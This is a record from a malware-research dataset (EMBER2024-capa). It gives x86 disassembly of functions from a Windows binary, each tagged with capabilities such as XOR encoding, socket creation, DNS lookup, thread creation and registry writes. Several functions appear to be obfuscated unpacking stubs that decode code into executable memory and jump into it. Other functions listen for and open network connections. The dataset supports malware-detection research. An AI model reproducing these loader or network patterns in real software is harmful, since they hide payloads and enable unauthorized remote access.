joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404305
Capabilities:
Read file on windows

Disassembly:
push ecx
push ecx
push ebx
push ebp
mov ebp, dword [esp + 0x14]
push esi
push edi
push 2
push 0xffffffffffffffff
push 0xffffffffffffffea
push ebp
call fcn.00420d83
mov ebx, edx
add esp, 0x10
mov esi, eax
test ebx, ebx
jl 0x404478
jg 0x404334
test esi, esi
jb 0x404478
mov edi, dword [esp + 0x20]
push 0x16
push edi
push ebp
call fcn.004175dd
add esp, 0xc
test eax, eax
js 0x404478
movzx ecx, byte [edi + 3]
movzx eax, byte [edi + 2]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 1]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi]
shl ecx, 8
or ecx, eax
cmp ecx, 0x6054b50
jne 0x404396
push edi
call fcn.00404887
pop ecx
test eax, eax
je 0x40438d
push ebx
push esi
push edi
push ebp
call fcn.00420d83
add esp, 0x10
mov esi, eax
mov ebx, edx
mov eax, esi
mov edx, ebx
jmp 0x40447d
push 2
xor ebx, ebx
push ebx
push ebx
push ebp
call fcn.00420d83
mov ebp, eax
add esp, 0x10
mov eax, edx
mov dword [esp + 0x14], eax
cmp eax, ebx
jl 0x404478
jg 0x4043bf
cmp ebp, ebx
jb 0x404478
mov ecx, 0x10015
cmp eax, ebx
jg 0x4043d4
jl 0x4043ce
cmp ebp, ecx
jae 0x4043d4
mov esi, ebp
mov ecx, eax
jmp 0x4043d8
mov esi, ecx
mov ecx, ebx
mov eax, esi
neg eax
push 2
adc ecx, ebx
neg ecx
push ecx
push eax
push dword [esp + 0x28]
call fcn.00420d83
add esp, 0x10
cmp edx, ebx
jl 0x404478
jg 0x4043fe
cmp eax, ebx
jb 0x404478
push 0x10015
call fcn.00420d83
mov ebx, eax
pop ecx
test ebx, ebx
je 0x404478
push esi
push ebx
push dword [esp + 0x24]
call fcn.004175dd
add esp, 0xc
mov dword [esp + 0x10], eax
test eax, eax
js 0x404471
lea edx, [ebx + eax]
lea esi, [edx - 0x16]
jmp 0x40446d
cmp byte [esi], 0x50
jne 0x40446c
movzx ecx, byte [esi + 3]
movzx eax, byte [esi + 2]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 1]
shl ecx, 8
or ecx, eax
shl ecx, 8
or ecx, 0x50
cmp ecx, 0x6054b50
jne 0x40446c
movzx ecx, byte [esi + 0x15]
movzx eax, byte [esi + 0x14]
shl ecx, 8
or ecx, eax
lea eax, [esi + 0x16]
add eax, ecx
cmp eax, edx
je 0x404484
dec esi
cmp esi, ebx
jae 0x40442d
push ebx
call fcn.00420d83
pop ecx
or eax, 0xffffffff
or edx, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret
push 0x16
push esi
push edi
call fcn.0040a170
push ebx
call fcn.00420d83
mov eax, dword [esp + 0x20]
add eax, ebx
sub eax, esi
mov esi, dword [esp + 0x24]
cdq
sub ebp, eax
push edi
sbb esi, edx
call fcn.00404887
add esp, 0x14
test eax, eax
je 0x4044c4
push esi
push ebp
push edi
push dword [esp + 0x28]
call fcn.00420d83
add esp, 0x10
mov ebp, eax
mov esi, edx
mov eax, ebp
mov edx, esi
jmp 0x40447d
Function at 0x420d83
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x420d92
pop dword [ebp - 0x44]
mov eax, 0xd6f7e746
add eax, 0x294a264c
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0x2f47fbcb
add dword [ebp - 0x54], 0x1f0a4980
mov dword [ebp - 0x50], 0x1e238f5d
add dword [ebp - 0x50], 0x140fbce8
mov dword [ebp - 0x4c], 0x78a2c636
add dword [ebp - 0x4c], 0xd3a97df8
mov dword [ebp - 0x48], 0xe6471967
sub dword [ebp - 0x48], 0xe6471967
lea eax, [ebp - 0x54]
push eax
mov eax, 0xdafe3271
sub eax, 0xdabbd21d
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0xe6d36401
sub dword [ebp - 0x54], 0x7260faab
mov dword [ebp - 0x50], 0x2783b7ed
add dword [ebp - 0x50], 0x19e8a988
mov dword [ebp - 0x4c], 0x63b65d44
add dword [ebp - 0x4c], 0xffb90f28
mov dword [ebp - 0x48], 0x4fa15ed2
sub dword [ebp - 0x48], 0x4fa15ed2
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, 0x4f290255
add eax, 0xb1195e03
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x3cf58
push 0
call eax
mov ecx, 0x44ea
xor edx, edx
add edx, eax
mov esi, 0x200c3e40
sub esi, 0x1fc85440
add esi, dword [ebp - 0x44]
mov ebx, 0xf2f59ef9
sub ebx, 0x870c8fb5
xor dword [ebp - 0x24], 0x505324c4
mov edi, dword [esi]
add dword [ebp - 0x10], esi
add edi, ebx
mov dword [ebp - 0x2c], 0xdf6db2b4
mov dword [edx], edi
xor dword [ebp - 0x38], 0x953e17b6
add edx, 4
add esi, 0xe68e81a2
sub esi, 0xe68e819e
loop 0x420eb0
add eax, 0xb6d90024
add eax, 0x49280657
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x1001202f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x1001203e
pop dword [ebp - 0x48]
mov eax, 0x3fd18ec7
add eax, 0xd02f9177
sub dword [ebp - 0x48], eax
push 0x40
push 0x1000
push 0x36cc8
push 0
mov eax, 0x3ccb044
sub eax, 0xf3ca1f38
add eax, dword [ebp - 0x48]
call dword [eax]
mov ecx, 0x615fdfc8
add ecx, 0x9ea058fd
mov esi, eax
mov edi, 0x10046c00
add edi, dword [ebp - 0x48]
mov edx, 0x14a215c1
sub edx, 0x757f69d4
xor dword [ebp - 4], esi
mov ebx, dword [edi]
xor dword [ebp - 0x14], ecx
add ebx, edx
mov dword [ebp - 0x1c], 0x2eccfa4a
mov dword [esi], ebx
xor dword [ebp - 0x44], 0xa5060636
add esi, 0x441e27e8
add esi, 0xbbe1d81c
add edi, 0x9ca4e45f
add edi, 0x635b1ba5
loop 0x10012097
add eax, 0x84bd81c4
add eax, 0x7b435423
xor ebx, ebx
add ebx, eax
add eax, 0x4a9b8ad0
sub eax, 0x4a9b8acb
mov ecx, 0x1adc2433
sub ecx, 0xadc2433
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x403c90
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x529474]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x403ccb
call dword [sym.imp.KERNEL32.DLL_GetLastError]
or eax, esi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004123d1
mov esp, ebp
pop ebp
ret
xor eax, eax
mov dword [ebp - 0x12], eax
mov dword [ebp - 0xe], eax
mov dword [ebp - 0xa], eax
mov word [ebp - 6], ax
mov eax, 2
push 0x537200
mov word [ebp - 0x14], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, dword [ebp + 8]
push ecx
mov dword [ebp - 0x10], eax
call dword [sym.imp.WS2_32.dll_htons]
push 0x10
lea edx, [ebp - 0x14]
push edx
push esi
mov word [ebp - 0x12], ax
mov dword [0x53e928], 0x3ff1
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x403d3a
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004123d1
mov esp, ebp
pop ebp
ret
push 5
push esi
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
je 0x403d1b
mov eax, dword [0x53980c]
inc eax
mov dword [0x53980c], eax
cmp eax, 0x22dc
jbe 0x403d61
xor eax, eax
mov dword [0x53980c], eax
mov ecx, dword [ebp - 4]
and eax, 0x189
or eax, 0x24
mov dword [0x53e928], eax
mov eax, esi
xor ecx, ebp
pop esi
call fcn.004123d1
mov esp, ebp
pop ebp
ret

Function at 0x403d80
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x529474]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x403e18
xor eax, eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov eax, 2
push edi
mov word [ebp - 0x14], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, dword [ebp + 8]
push ecx
mov dword [ebp - 0x10], eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
mov eax, dword [0x539810]
inc eax
mov dword [0x539810], eax
cmp eax, 0x22dc
jbe 0x403dec
xor eax, eax
mov dword [0x539810], eax
push 0x10
lea edx, [ebp - 0x14]
and eax, 0x189
push edx
or eax, 0x24
push esi
mov dword [0x53e928], eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x403e2a
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004123d1
mov esp, ebp
pop ebp
ret
mov eax, dword [0x539814]
inc eax
mov dword [0x539814], eax
cmp eax, 0x22dc
jbe 0x403e43
xor eax, eax
mov dword [0x539814], eax
mov ecx, dword [ebp - 4]
and eax, 0x189
or eax, 0x24
mov dword [0x53e928], eax
mov eax, esi
xor ecx, ebp
pop esi
call fcn.004123d1
mov esp, ebp
pop ebp
ret
Function at 0x403e70
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4e8810
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x529474]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
mov dword [ebp - 0x34], ebx
push 1
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp + 8]
mov dword [ebp - 4], ebx
push ecx
xor eax, eax
mov dword [ebp - 0x34], 0x52596a
mov byte [ebp - 0x30], 0x3a
call fcn.00402290
cmp eax, 0xffffffff
je 0x403ef9
push eax
xor ecx, ecx
lea esi, [ebp - 0x2c]
lea edx, [ebp + 8]
call fcn.004020f0
push eax
lea ecx, [ebp + 8]
mov byte [ebp - 4], 1
call fcn.00402120
mov esi, 0x10
mov byte [ebp - 4], bl
cmp dword [ebp - 0x18], esi
jb 0x403efe
mov edx, dword [ebp - 0x2c]
push edx
call fcn.0041293d
add esp, 4
jmp 0x403efe
mov esi, 0x10
mov eax, dword [ebp + 8]
mov dword [0x53e928], 0x3ff1
cmp dword [ebp + 0x1c], esi
jae 0x403f13
lea eax, [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, ebx
je 0x403f35
mov eax, dword [eax + 0xc]
cmp dword [eax], ebx
je 0x403f4d
mov eax, dword [eax]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov dword [ebp - 0x34], eax
jmp 0x403f4d
mov eax, dword [0x539818]
inc eax
mov dword [0x539818], eax
cmp eax, 0x22dc
jbe 0x403f4d
mov dword [0x539818], ebx
mov eax, dword [0x53981c]
inc eax
mov dword [0x53981c], eax
cmp eax, 0x22dc
jbe 0x403f66
xor eax, eax
mov dword [0x53981c], eax
and eax, 0x189
or eax, 0x24
mov dword [0x53e928], eax
mov eax, dword [ebp - 0x34]
mov dword [edi + 0x14], 0xf
mov dword [edi + 0x10], ebx
mov byte [edi], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x403f85
sub eax, edx
mov edx, dword [ebp - 0x34]
push eax
push edx
mov ecx, edi
call fcn.00402650
cmp dword [ebp + 0x1c], esi
jb 0x403fab
mov eax, dword [ebp + 8]
push eax
call fcn.0041293d
add esp, 4
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004123d1
mov esp, ebp
pop ebp
ret
Function at 0x4051a0
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x198
mov eax, dword [0x529474]
xor eax, esp
mov dword [esp + 0x194], eax
xor eax, eax
push 0x18e
push eax
lea ecx, [esp + 0xa]
mov dword [esi], vtable.Thread.0
mov byte [esi + 0xc], 0
push ecx
mov byte [esi + 0xd], 0
mov dword [esi + 4], 0
mov dword [esi], vtable.CAcceptUploadThread.0
mov word [esp + 0xc], ax
call fcn.00416190
add esp, 0xc
lea edx, [esp]
push edx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov eax, dword [0x5398f0]
inc eax
mov dword [0x5398f0], eax
cmp eax, 0x22dc
jbe 0x405217
xor eax, eax
mov dword [0x5398f0], eax
mov ecx, dword [esp + 0x194]
and eax, 0x189
or eax, 0x24
mov dword [0x53e928], eax
xor ecx, esp
mov eax, esi
call fcn.004123d1
mov esp, ebp
pop ebp
ret
Function at 0x406920
Capabilities:
Create thread
Resume thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x539998]
push ebx
xor ebx, ebx
inc eax
mov dword [esi], vtable.Thread.0
mov byte [esi + 0xc], bl
mov byte [esi + 0xd], bl
mov dword [esi + 4], ebx
mov dword [esi], vtable.ForwardHttpsThread.0
mov dword [0x539998], eax
cmp eax, 0x22dc
jbe 0x406953
mov dword [0x539998], ebx
mov eax, dword [ebp + 8]
mov dword [esi + 0x10], eax
mov al, byte [esi + 0xd]
mov dword [esi + 0x14], ecx
mov dword [esi + 0x18], edx
mov dword [0x53e928], 0x3ff1
test al, al
jne 0x4069a9
cmp dword [esi + 4], ebx
jne 0x40698c
lea ecx, [esi + 8]
push ecx
push 4
push esi
push 0x4042d0
push ebx
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov dword [esi + 4], eax
mov edx, dword [esi + 4]
push edx
mov dword [0x53e928], 0x3ff1
call dword [sym.imp.KERNEL32.DLL_ResumeThread]
cmp eax, 0xffffffff
setne al
mov byte [esi + 0xc], al
mov eax, dword [0x53999c]
inc eax
mov dword [0x53999c], eax
cmp eax, 0x22dc
jbe 0x4069c1
mov dword [0x53999c], ebx
mov eax, dword [0x539898]
inc eax
mov dword [0x539898], eax
cmp eax, 0x22dc
jbe 0x4069da
xor eax, eax
mov dword [0x539898], eax
mov ecx, dword [esi + 4]
and eax, 0x189
push 1
or eax, 0x24
push ecx
mov dword [0x53e928], eax
call dword [sym.imp.KERNEL32.DLL_SetThreadPriority]
mov eax, esi
pop ebx
pop ebp
ret 4
Function at 0x407810
Capabilities:
Get disk information
Get process image filename

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
mov eax, dword [0x529474]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
push 0x104
mov esi, ecx
lea ecx, [ebp - 0x10b]
push 0
push ecx
mov dword [ebp - 0x118], eax
mov byte [ebp - 0x10c], 0
call fcn.00416190
add esp, 0xc
push 0x105
lea edx, [ebp - 0x10c]
push edx
push esi
call dword [sym.imp.PSAPI.DLL_GetProcessImageFileNameA]
test eax, eax
je 0x407a6d
mov eax, dword [0x5399ec]
inc eax
mov dword [0x5399ec], eax
cmp eax, 0x22dc
jbe 0x407880
xor eax, eax
mov dword [0x5399ec], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_GetLogicalDriveStringsA]
and eax, 0x189
push 0
or eax, 0x24
push 0
mov dword [0x53e928], eax
call ebx
mov esi, eax
test esi, esi
je 0x407a6c
push edi
lea edi, [esi + 1]
push edi
call fcn.004123c6
add esp, 4
mov dword [ebp - 0x114], eax
test eax, eax
je 0x407a6b
push edi
push 0
push eax
call fcn.00416190
mov edi, dword [ebp - 0x114]
add esp, 0xc
push edi
push esi
call ebx
test eax, eax
jne 0x4078df
push edi
jmp 0x407a63
mov ax, word [0x525974]
mov cl, byte [0x525976]
push 0x104
mov dword [0x53e928], 0x3ff1
mov word [ebp - 0x110], ax
mov byte [ebp - 0x10e], cl
call fcn.004123c6
mov esi, eax
add esp, 4
mov ebx, edi
test esi, esi
je 0x4078d9
push 0x104
push 0
push esi
call fcn.00416190
add esp, 0xc
jmp 0x407930
mov dl, byte [ebx]
mov edi, dword [sym.imp.KERNEL32.DLL_QueryDosDeviceA]
push 0x104
push esi
lea eax, [ebp - 0x110]
push eax
mov byte [ebp - 0x110], dl
call edi
test eax, eax
jne 0x4079ca
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0x7a
jne 0x407a4f
mov eax, dword [0x5399f0]
inc eax
mov dword [0x5399f0], eax
cmp eax, 0x22dc
jbe 0x407979
xor eax, eax
mov dword [0x5399f0], eax
and eax, 0x189
or eax, 0x24
push esi
mov dword [0x53e928], eax
call fcn.00413bc8
push 0x104
call fcn.004123c6
mov esi, eax
add esp, 8
test esi, esi
je 0x407a4f
push 0x104
push 0
push esi
call fcn.00416190
add esp, 0xc
push 0x104
push esi
lea ecx, [ebp - 0x110]
push ecx
call edi
test eax, eax
je 0x407a4f
mov eax, esi
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4079d0
sub eax, edx
mov edi, eax
push edi
lea edx, [ebp - 0x10c]
push esi
push edx
call fcn.004138ce
add esp, 0xc
test eax, eax
je 0x407a27
mov eax, dword [0x5399f4]
inc eax
mov dword [0x5399f4], eax
cmp eax, 0x22dc
jbe 0x407a09
xor eax, eax
mov dword [0x5399f4], eax
and eax, 0x189
or eax, 0x24
mov dword [0x53e928], eax
mov al, byte [ebx]
inc ebx
test al, al
jne 0x407a16
cmp byte [ebx], al
jne 0x407930
jmp 0x407a4f
mov eax, dword [ebp - 0x118]
lea ecx, [ebp + edi - 0x10c]
push ecx
lea edx, [ebp - 0x110]
push edx
push str._s_s
push 0x104
push eax
call fcn.004139a5
add esp, 0x14
mov ecx, dword [ebp - 0x114]
push ecx
call fcn.00413bc8
add esp, 4
test esi, esi
je 0x407a6b
push esi
call fcn.00413bc8
add esp, 4
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.004123d1
mov esp, ebp
pop ebp
ret
Function at 0x407ec0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x529474]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push 0x103
lea eax, [ebp - 0x107]
push 0
push eax
mov byte [ebp - 0x108], 0
call fcn.00416190
mov ecx, dword [ebp + 8]
add esp, 0xc
or ebx, 0xffffffff
cmp dword [ecx + 0x20], 0
mov dword [ebp - 0x10c], 1
je 0x407f65
push edi
push esi
push 0
push 0x42a
call dword [0x53e934]
mov edi, eax
test edi, edi
je 0x407f57
mov eax, dword [0x539a0c]
inc eax
mov dword [0x539a0c], eax
cmp eax, 0x22dc
jbe 0x407f35
xor eax, eax
mov dword [0x539a0c], eax
lea edx, [ebp - 0x10c]
and eax, 0x189
push edx
or eax, 0x24
push edi
mov dword [0x53e928], eax
call dword [0x53e950]
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
cmp dword [ebp - 0x10c], 0
pop edi
je 0x408003
push 0x5371dc
lea eax, [ebp - 0x108]
push 0x104
push eax
call fcn.00412f5b
lea ecx, [ebp - 0x108]
push 0
push ecx
call fcn.00413bb0
add esp, 0x14
test eax, eax
jne 0x407fea
push esi
push eax
cmp byte [0x534fec], al
je 0x407fc2
push 0x407470
call fcn.00413a8a
xor edx, edx
add esp, 0xc
cmp eax, 0xffffffff
setne dl
pop ebx
mov eax, edx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004123d1
mov esp, ebp
pop ebp
ret 4
push 0x4073f0
call fcn.00413a8a
xor ecx, ecx
add esp, 0xc
cmp eax, 0xffffffff
setne cl
pop ebx
mov eax, ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004123d1
mov esp, ebp
pop ebp
ret 4
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004123d1
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov dword [0x53e928], 0x3ff1
mov eax, 1
pop ebx
call fcn.004123d1
mov esp, ebp
pop ebp
ret 4

Function at 0x4087a0
Capabilities:
Create thread
Resume thread

Disassembly:
mov al, byte [esi + 0xd]
test al, al
je 0x4087aa
xor al, al
ret
cmp dword [esi + 4], 0
jne 0x4087c9
lea ecx, [esi + 8]
push ecx
push 4
push esi
push 0x4042d0
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov dword [esi + 4], eax
mov edx, dword [esi + 4]
push edx
mov dword [0x53e928], 0x3ff1
call dword [sym.imp.KERNEL32.DLL_ResumeThread]
cmp eax, 0xffffffff
setne al
mov byte [esi + 0xc], al
ret
Function at 0x40afb0
Capabilities:
Parse url

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x18c8
call fcn.0041db60
mov eax, dword [0x529474]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 0x825
mov dword [ebp - 0x1884], eax
xor ebx, ebx
lea eax, [ebp - 0x1878]
push ebx
mov edi, 0x824
push eax
mov dword [ebp - 0x188c], ecx
mov dword [ebp - 0x1888], edx
mov dword [ebp - 0x187c], edi
call fcn.00416190
push 0x825
lea ecx, [ebp - 0x82c]
push ebx
push ecx
call fcn.00416190
push 0x3c
lea edx, [ebp - 0x18c8]
push ebx
push edx
call fcn.00416190
add esp, 0x24
cmp dword [esi + 0x14], 0x10
lea eax, [ebp - 0x1878]
lea ecx, [ebp - 0x82c]
mov dword [ebp - 0x18c8], 0x3c
mov dword [ebp - 0x18b4], edi
mov dword [ebp - 0x18b8], eax
mov dword [ebp - 0x1898], edi
mov dword [ebp - 0x189c], ecx
jb 0x40b05d
mov eax, dword [esi]
jmp 0x40b05f
mov eax, esi
push 0x2000000
lea edx, [ebp - 0x187c]
push edx
lea ecx, [ebp - 0x1050]
push ecx
push eax
call dword [sym.imp.WININET.dll_InternetCanonicalizeUrlA]
test eax, eax
jne 0x40b0de
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0x7a
jne 0x40b0cb
mov edx, dword [ebp - 0x187c]
push edx
call fcn.004123c6
add esp, 4
cmp dword [esi + 0x14], 0x10
mov edi, eax
mov ebx, 1
jb 0x40b0a8
mov eax, dword [esi]
jmp 0x40b0aa
mov eax, esi
push 0x2000000
lea ecx, [ebp - 0x187c]
push ecx
push edi
push eax
call dword [sym.imp.WININET.dll_InternetCanonicalizeUrlA]
test eax, eax
jne 0x40b0e4
push edi
call fcn.00413bc8
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004123d1
mov esp, ebp
pop ebp
ret
lea edi, [ebp - 0x1050]
lea edx, [ebp - 0x18c8]
push edx
push 0
push 0
push edi
call dword [sym.imp.WININET.dll_InternetCrackUrlA]
mov dword [ebp - 0x1880], eax
test ebx, ebx
je 0x40b109
push edi
call fcn.00413bc8
add esp, 4
cmp dword [ebp - 0x1880], 0
jne 0x40b13b
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov eax, dword [ebp - 0x1884]
pop edi
pop esi
mov dword [eax], 4
mov eax, dword [ebp - 0x1880]
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004123d1
mov esp, ebp
pop ebp
ret
mov cx, word [ebp - 0x18b0]
mov edx, dword [ebp - 0x188c]
mov eax, dword [ebp - 0x18bc]
mov word [edx], cx
mov ecx, dword [ebp - 0x1884]
mov edx, dword [ebp - 0x18b8]
mov dword [ecx], eax
mov eax, edx
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40b164
sub eax, edi
push eax
push edx
mov ecx, esi
call fcn.00402650
mov edx, dword [ebp - 0x189c]
mov eax, edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40b181
mov ecx, dword [ebp - 0x1888]
sub eax, esi
push eax
push edx
call fcn.00402650
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x1880]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004123d1
mov esp, ebp
pop ebp
ret
Function at 0x40be00
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x529474]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
cmp edi, ebx
je 0x40bf14
cmp dword [ebp + 8], 1
jb 0x40bf14
push esi
push 0x103
lea eax, [ebp - 0x107]
push ebx
push eax
mov byte [ebp - 0x108], bl
call fcn.00416190
push 0x53717c
push 0x537344
lea ecx, [ebp - 0x108]
push 0x104
push ecx
call fcn.004139a5
add esp, 0x1c
push ebx
push 0x80
push 2
push ebx
push 1
push 0xc0000000
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
cmp esi, ebx
je 0x40befc
cmp esi, 0xffffffff
je 0x40befc
mov eax, dword [0x539a6c]
inc eax
mov dword [0x539a6c], eax
cmp eax, 0x22dc
jbe 0x40bea0
xor eax, eax
mov dword [0x539a6c], eax
mov ecx, dword [ebp + 8]
and eax, 0x189
or eax, 0x24
push ebx
mov dword [0x53e928], eax
lea eax, [ebp + 8]
push eax
push ecx
push edi
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
jne 0x40bee1
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop esi
mov al, bl
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004123d1
mov esp, ebp
pop ebp
ret
push esi
mov bl, 1
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop esi
mov al, bl
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004123d1
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.DLL_GetLastError]
pop esi
mov al, bl
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004123d1
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor al, al
pop ebx
call fcn.004123d1
mov esp, ebp
pop ebp
ret

Function at 0x40bf30
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push 0x5375d0
push reloc.WS2_32.dll_accept
mov bl, 1
mov dword [ebp - 4], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, dword [sym.imp.KERNEL32.DLL_GetLastError]
test eax, eax
je 0x40bf8a
xor bl, bl
call esi
lea ecx, [ebp - 4]
push ecx
push 0x5375d0
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x40bf8a
call esi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
push edx
push eax
push 3
push 0
push 0x5375e8
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x40bfad
xor bl, bl
call esi
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret